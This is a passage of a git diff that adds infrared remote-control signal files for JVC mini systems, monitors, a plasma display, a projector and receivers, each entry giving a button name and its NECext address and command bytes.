00 +command: 5B 00 00 00 +# +name: CD_10_KEY_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: CD_10_KEY_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: CD_10_KEY_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: CD_10_KEY_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: CD_10_KEY_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: CD_10_KEY_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: CD_10_KEY_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: CD_10_KEY_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: CD_10_KEY_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6A 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6B 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6D 00 00 00 +# +name: CD_10_KEY_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: CD_10_KEY_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 72 00 00 00 +# +name: CD_P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_CHANGER_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_CHANGER_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_CHANGER_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_CHANGER_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_CHANGER_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_CHANGER_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 83 00 00 00 +# +name: CD_PLAY_MODE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 83 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir new file mode 100644 index 000000000..d9e33c68e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: ASPECT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 53 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir new file mode 100644 index 000000000..029a6a630 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir @@ -0,0 +1,440 @@ +Filetype: IR signals file +Version: 1 +# +name: MAIN/SAP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: SLEEP/TIMER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: RETURN+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: ANT/CABLE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: AV_STATUS/RESET +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO_STATUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: THEATER/AV_STATUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: CLOSED_CAPTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV_TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH/HYPER_SCAN- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CH/HYPER_SCAN+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: TV_0/AUX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8/DAILY_(M-F) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_9/WEEKLY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: RECALL_CHOICE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: HYPER_SURROUND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: FUNCTION_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: MENU_> +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: FUNCTION_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: MENU_< +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: 100+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: FUNCTION_FORWARD_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: MENU_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: FUNCTION_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: FUNCTION_BACK_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: MENU_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: FUNCTION_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: PIP_FREEZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 80 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 85 00 00 00 +# +name: PIP_MOVE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 86 00 00 00 +# +name: PIP_POSITION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 86 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 89 00 00 00 +# +name: PIP_SOURCE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: B2 00 00 00 +# +name: PIP_CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: BE 00 00 00 +# +name: PIP_CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: BF 00 00 00 +# +name: PIP_SIZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: D6 00 00 00 +# +name: C1/C2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: DA 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E3 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir new file mode 100644 index 000000000..137592c54 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 02 00 00 00 +# +name: VCR_STOP[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_FFWD>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_REW<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: VCR_PLAY> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_CH- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: CANCEL/C.RESET/SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: ENTER/OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: C_MEMORY/ADD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: RE-VIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C3 00 00 00 +# +name: VCR_RECORD(REC&PLAY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir new file mode 100644 index 000000000..370b85164 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: DA 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: DD 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: E1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir new file mode 100644 index 000000000..febc26a3a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 01 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 01 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 02 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 02 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 05 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 06 00 00 00 +# +name: HIDE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 34 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 36 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 36 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4B 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4B 00 00 00 +# +name: INPUT:_S-VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4C 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4C 00 00 00 +# +name: INPUT:_COMPONENT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4D 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4D 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 59 00 00 00 +# +name: IMAGE:_CINEMA +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 69 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 69 00 00 00 +# +name: IMAGE:_NATURAL +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6A 00 00 00 +# +name: NATURAL +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6A 00 00 00 +# +name: IMAGE:_DYNAMIC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6B 00 00 00 +# +name: DYNAMIC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6B 00 00 00 +# +name: IMAGE:_USER_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6C 00 00 00 +# +name: USER_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6C 00 00 00 +# +name: IMAGE:_USER_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6D 00 00 00 +# +name: USER_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6D 00 00 00 +# +name: IMAGE:_USER_3 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6E 00 00 00 +# +name: USER_3 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6E 00 00 00 +# +name: INPUT:_HDMI_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 70 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 70 00 00 00 +# +name: INPUT:_HDMI_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 71 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 71 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 74 00 00 00 +# +name: GAMMA +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 75 00 00 00 +# +name: COLOR_TEMP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 76 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 77 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 78 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 79 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7A 00 00 00 +# +name: BRIGHT_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7A 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7B 00 00 00 +# +name: BRIGHT_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7B 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7C 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7D 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7E 00 00 00 +# +name: SHARP_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7E 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7F 00 00 00 +# +name: SHARP_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir new file mode 100644 index 000000000..83418f768 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: VTR_STOP_[] +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: VTR_FF_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: VTR_REW_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: VTR_PLAY_> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: VTR_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: VTR_CHANNEL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: VTR_CHANNEL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir new file mode 100644 index 000000000..34e20de2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: CD_CHAPTER_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: CD_SEARCH_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: CD_SEARCH_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: CD_CHAPTER_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir new file mode 100644 index 000000000..84fd94a2e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir @@ -0,0 +1,596 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE_1_STOP_[]_(4) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE1_CON._STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE1_CONTROL_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE1/2_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE_CONT_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE_1_STOP[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE1/2_STOP_(-_[]) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE1_OPEN/CLOSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 04 00 00 00 +# +name: TAPE1_FFWD_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE1_FF_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_1_>>_(P) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_FF_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE1_CON._FFWD_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE1_CONTROL_FFWD +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE1/2_FFWD_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_CONT_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_1_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE1/2_FFWD_(>_>>) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_FF/>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE1_REW_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_1_<<_(6) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_REW_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE1_CON._REW_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE1_CONTROL_REW +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE1/2_REW_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_CONT_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_1_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE1/2_REW_(<_<<) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_REW/<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE1_<> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0B 00 00 00 +# +name: DIRECTION_<> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0B 00 00 00 +# +name: TAPE1_OPEN/CLOSE_<> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0B 00 00 00 +# +name: TAPE1/2_<> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0B 00 00 00 +# +name: TAPE_<> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0B 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE_1_PLAY_>_(1) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE1_CON._PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE1_CONTROL_PLAY> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE1/2_PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE_CONT_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE_1_PLAY> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE1/2_PLAY_(+_>) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE1_PAUSE_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE_1_PAUSE_(5) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE1_CON._PAUSE_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE1_CONTROL_PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE1/2_PAUSE_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE_CONT_PAUSE/STIL +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE1/2_PAUSE_() +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE_PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE_PAUSE_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE1_CON._PAUSE/S. +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE1_SKIP_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE1_SRCH_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE_1_<<_(2) +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: TAPE1_MUSIC_SCAN_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: MUSIC_SCAN_<< +type: parsed +protocol: 